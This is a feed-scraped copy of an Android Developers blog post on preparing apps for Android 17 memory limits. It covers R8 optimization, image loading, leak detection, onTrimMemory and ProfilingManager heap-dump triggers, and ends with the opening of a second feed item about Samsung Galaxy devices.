        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
</div>

<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
</div>
<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s2048/pic2-r8-config-analyzer.png">
        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-c747avSj9Z8JO4DTK4kSfO3SjSpd5aTuVvR_TBeD3bXV6cc8lzNLGrWCngNXdyZBeiNjQqwQZCcU4QCrovwL99gu0t5bQrlTXa0PIBGIivwyS8y226MgeraphZr4VITWYe0x7ckFto0dsD8rBLM1J_P3dV0CBj5Ctlwm8jsgAPZA7W2XnKnRz59H9I/s2049/MM_Adaptive_and_device_Meta%20(1).png"><div>



<div><div class="separator"><i>Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience</i></div></div><div><i><br></i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s4210/MM_Adaptive_and_device_Blog.png"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGrEplk_My1fOfyw851kt92Jc2wyODN6bwWJaL5EGFV6_5grP3-pS7jrMzI4MOXgo1W1yVHcwj8J7AIO3olxlHDoNWxzTTlQLc9_D6CWB6bUtWLyvxmXN-JQQ92_HWYErsdMVuNkynTjXpZSKoaUTFiY_4aiffEDsfdCrl9om05MRVqqMac0YGExE4XLQ/s1600/MM_Adaptive_and_device_Blog.png"></a></div><br><i><br></i><p>Today at Galaxy Unpacked, Samsung <a href="https://blog.google/products-and-platforms/platforms/android/galaxy-unpacked-2026" target="_blank">unveiled</a> its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.</p>

